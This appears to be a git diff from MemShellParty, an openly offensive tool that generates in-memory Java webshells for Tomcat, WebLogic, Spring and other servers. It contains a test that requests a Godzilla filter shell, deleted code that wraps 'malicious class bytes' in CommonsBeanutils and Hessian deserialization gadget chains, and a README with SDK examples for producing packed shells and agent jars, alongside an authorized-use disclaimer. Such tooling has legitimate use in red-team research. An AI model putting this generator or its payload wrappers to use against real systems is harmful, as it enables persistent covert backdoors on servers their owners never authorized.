gQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||||
|
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||||
|
}
|
||||||
|
}
|
||||||
+18
-8
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.Config;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
@@ -8,6 +7,9 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
|
|||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
@@ -24,14 +26,22 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
|
||||||
Config config = response.getBody();
|
@Test
|
||||||
assertNotNull(config);
|
public void testConfigServersEndpoint() {
|
||||||
assertNotNull(config.getServers());
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
||||||
assertNotNull(config.getCore());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(config.getPackers());
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void testConfigPackersEndpoint() {
|
||||||
|
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+58
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/9/16
|
||||||
|
*/
|
||||||
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
|
class MemShellGeneratorControllerTest {
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
TestRestTemplate restTemplate;
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void generateShell() {
|
||||||
|
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||||
|
request.setShellConfig(ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shrink(true)
|
||||||
|
.debug(true)
|
||||||
|
.serverVersion("Unknown")
|
||||||
|
.targetJreVersion(50)
|
||||||
|
.build());
|
||||||
|
request.setInjectorConfig(InjectorConfig.builder()
|
||||||
|
.urlPattern("/*")
|
||||||
|
.build());
|
||||||
|
request.setPacker(Packers.ScriptEngine);
|
||||||
|
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||||
|
shellToolConfigDTO.setGodzillaKey("key");
|
||||||
|
shellToolConfigDTO.setGodzillaPass("pass");
|
||||||
|
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||||
|
shellToolConfigDTO.setHeaderValue("hello");
|
||||||
|
request.setShellToolConfig(shellToolConfigDTO);
|
||||||
|
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||||
|
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
plugins {
|
||||||
|
`kotlin-dsl`
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
rootProject.name = "build-logic"
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
plugins {
|
||||||
|
id("com.vanniktech.maven.publish")
|
||||||
|
}
|
||||||
|
|
||||||
|
mavenPublishing {
|
||||||
|
publishToMavenCentral()
|
||||||
|
signAllPublications()
|
||||||
|
coordinates(
|
||||||
|
"io.github.reajason",
|
||||||
|
project.name,
|
||||||
|
rootProject.version as String
|
||||||
|
)
|
||||||
|
|
||||||
|
pom {
|
||||||
|
name.set("MemShellParty")
|
||||||
|
description.set(project.description)
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
inceptionYear.set("2025")
|
||||||
|
licenses {
|
||||||
|
license {
|
||||||
|
name.set("MIT")
|
||||||
|
url.set("https://spdx.org/licenses/MIT.html")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
developers {
|
||||||
|
developer {
|
||||||
|
id.set("reajason")
|
||||||
|
name.set("ReaJason")
|
||||||
|
url.set("https://reajason.eu.org")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
scm {
|
||||||
|
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
||||||
|
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
|
|
||||||
|
|
||||||
allprojects {
|
|
||||||
if (it.name != 'bom') {
|
|
||||||
apply(plugin: 'java')
|
|
||||||
apply(plugin: 'idea')
|
|
||||||
apply(plugin: 'jacoco')
|
|
||||||
}
|
|
||||||
|
|
||||||
if (it.name != 'bom' && !it.name.startsWith("vul")) {
|
|
||||||
dependencies {
|
|
||||||
implementation platform(project(':bom'))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs += file('src')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jacocoTestReport {
|
|
||||||
reports {
|
|
||||||
xml.required = true
|
|
||||||
csv.required = true
|
|
||||||
html.required = true
|
|
||||||
}
|
|
||||||
afterEvaluate {
|
|
||||||
executionData.from fileTree(rootDir) {
|
|
||||||
include '**/build/jacoco/**/*.exec'
|
|
||||||
}
|
|
||||||
|
|
||||||
sourceDirectories = files('generator/src/main/java')
|
|
||||||
|
|
||||||
classDirectories.from(
|
|
||||||
fileTree('generator/build/classes/java/main') {
|
|
||||||
excludes = [
|
|
||||||
'com/reajason/javaweb/memsell/**/godzilla/**',
|
|
||||||
'com/reajason/javaweb/memsell/**/injector/**',
|
|
||||||
'com/reajason/javaweb/memsell/**/command/**',
|
|
||||||
'com/reajason/javaweb/config/**'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("idea")
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs.add(file("src"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
version = "2.4.2"
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenCentral") {
|
||||||
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
|
}
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
implementation 'commons-io:commons-io'
|
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
|
||||||
implementation 'commons-codec:commons-codec'
|
|
||||||
implementation 'org.jetbrains:annotations'
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
testImplementation "org.mockito:mockito-core"
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
File diff suppressed because one or more lines are too long
@@ -1,28 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
|
|
||||||
implementation 'com.caucho:hessian:4.0.66'
|
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class DeserializeConfig {
|
|
||||||
private PayloadType payloadType;
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.Hessian2Output;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class Hessian2DeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
|
||||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessian2Output.writeObject(obj);
|
|
||||||
hessian2Output.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.HessianOutput;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class HessianDeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
|
||||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessianOutput.writeObject(obj);
|
|
||||||
hessianOutput.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-25
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class JavaDeserializeGenerator {
|
|
||||||
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes);
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
|
||||||
oos.writeObject(obj);
|
|
||||||
oos.flush();
|
|
||||||
oos.close();
|
|
||||||
return baos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public interface Payload {
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @param className 恶意类名
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes, String className) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum PayloadType {
|
|
||||||
/**
|
|
||||||
* CB 链
|
|
||||||
*/
|
|
||||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
|
||||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
|
||||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
|
||||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Hessian XSLT write
|
|
||||||
*/
|
|
||||||
XSLTScriptEngine(new XSLTScriptEngine())
|
|
||||||
;
|
|
||||||
|
|
||||||
private final Payload payload;
|
|
||||||
|
|
||||||
PayloadType(Payload payload) {
|
|
||||||
this.payload = payload;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static PayloadType getPayloadType(String payloadType) {
|
|
||||||
for (PayloadType value : values()) {
|
|
||||||
if (value.name().equals(payloadType)) {
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,379 @@
|
|||||||
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
|
<p align="center">English | <a href="../README.md">中文</a><br></p>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||||
|
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
||||||
|
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
|
[](https://t.me/memshell)
|
||||||
|
[](https://party.memshell.news)
|
||||||
|
</div>
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
|
||||||
|
|
||||||
|
MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
|
||||||
|
|
||||||
|
What you can learn or try from this project:
|
||||||
|
|
||||||
|
1. Learn to write java memshell for common middleware and frameworks.
|
||||||
|
2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
|
||||||
|
3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
|
||||||
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Key Features
|
||||||
|
|
||||||
|
- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
|
||||||
|
- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||||
|
- Minimal Size: Strives to minimize memshell size for efficient transfer.
|
||||||
|
- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### Online Preview
|
||||||
|
|
||||||
|
> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
|
||||||
|
|
||||||
|
Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
|
||||||
|
|
||||||
|
### Local Deployment (Recommended)
|
||||||
|
|
||||||
|
> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
|
||||||
|
|
||||||
|
After deploying with Docker, access the service at http://127.0.0.1:8080
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Pull the latest image from Docker Hub
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
|
||||||
|
# Pull the latest image from Github Container Registry
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
|
# If network quality is poor, use the Nanjing University Github Container Registry mirror
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
The image is stateless. To update to the latest version, simply remove the old container and create a new one:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Remove the previously deployed container
|
||||||
|
docker rm -f memshell-party
|
||||||
|
|
||||||
|
# Use the previous deployment command to redeploy (it will automatically pull the latest image)
|
||||||
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### SDK Integration into Existing Tools
|
||||||
|
|
||||||
|
> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
|
||||||
|
|
||||||
|
1. Add the dependency using Maven or Gradle:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!-- Maven Repo-->
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>1.7.0</version>
|
||||||
|
</dependency>
|
||||||
|
```
|
||||||
|
|
||||||
|
```groovy
|
||||||
|
// Gradle Repo
|
||||||
|
implementation 'io.github.reajason:generator:1.7.0'
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Example1: Generate a Tomcat Godzilla Filter memory shell:
|
||||||
|
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: "+result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: "+result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
|
||||||
|
System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
```
|
||||||
|
3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
|
||||||
|
```java
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // Shrink bytecode size
|
||||||
|
.debug(false) // Disable debug mode
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // Custom urlPattern, defaults to /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("Injector Class Name: " + result.getInjectorClassName());
|
||||||
|
System.out.println("MemShell Class Name: " + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
```
|
||||||
|
4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||||
|
|
||||||
|
## Compatibility
|
||||||
|
|
||||||
|
Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
|
||||||
|
|
||||||
|
### Middleware and Frameworks
|
||||||
|
|
||||||
|
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||||
|
|----------------------|------------------------|----------------------|----------------------|
|
||||||
|
| Servlet | Servlet | Filter | Filter |
|
||||||
|
| Filter | Filter | Listener | Listener |
|
||||||
|
| Listener | Listener | Valve | Valve |
|
||||||
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
|
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||||
|
|---------------------|--------------------------|-----------------|--------------|
|
||||||
|
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||||
|
| Filter | ControllerHandler | HandlerMethod | |
|
||||||
|
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||||
|
| FilterChain - Agent | | NettyHandler | |
|
||||||
|
|
||||||
|
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||||
|
|----------------------|----------------------------|------------------------|------------------------|
|
||||||
|
| Filter | Filter | Servlet | Servlet |
|
||||||
|
| Listener | Listener | Filter | Filter |
|
||||||
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
|
| | ServletHandler - Agent (7) | | |
|
||||||
|
|
||||||
|
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||||
|
|-----------------------|-------------------------|
|
||||||
|
| Servlet | Servlet |
|
||||||
|
| Filter | Filter |
|
||||||
|
| Listener | Listener |
|
||||||
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
|
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
||||||
|
|----------------------|----------------------|------------------------|
|
||||||
|
| Filter | Filter | Filter |
|
||||||
|
| Listener | Listener | Listener |
|
||||||
|
| Valve | Valve | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
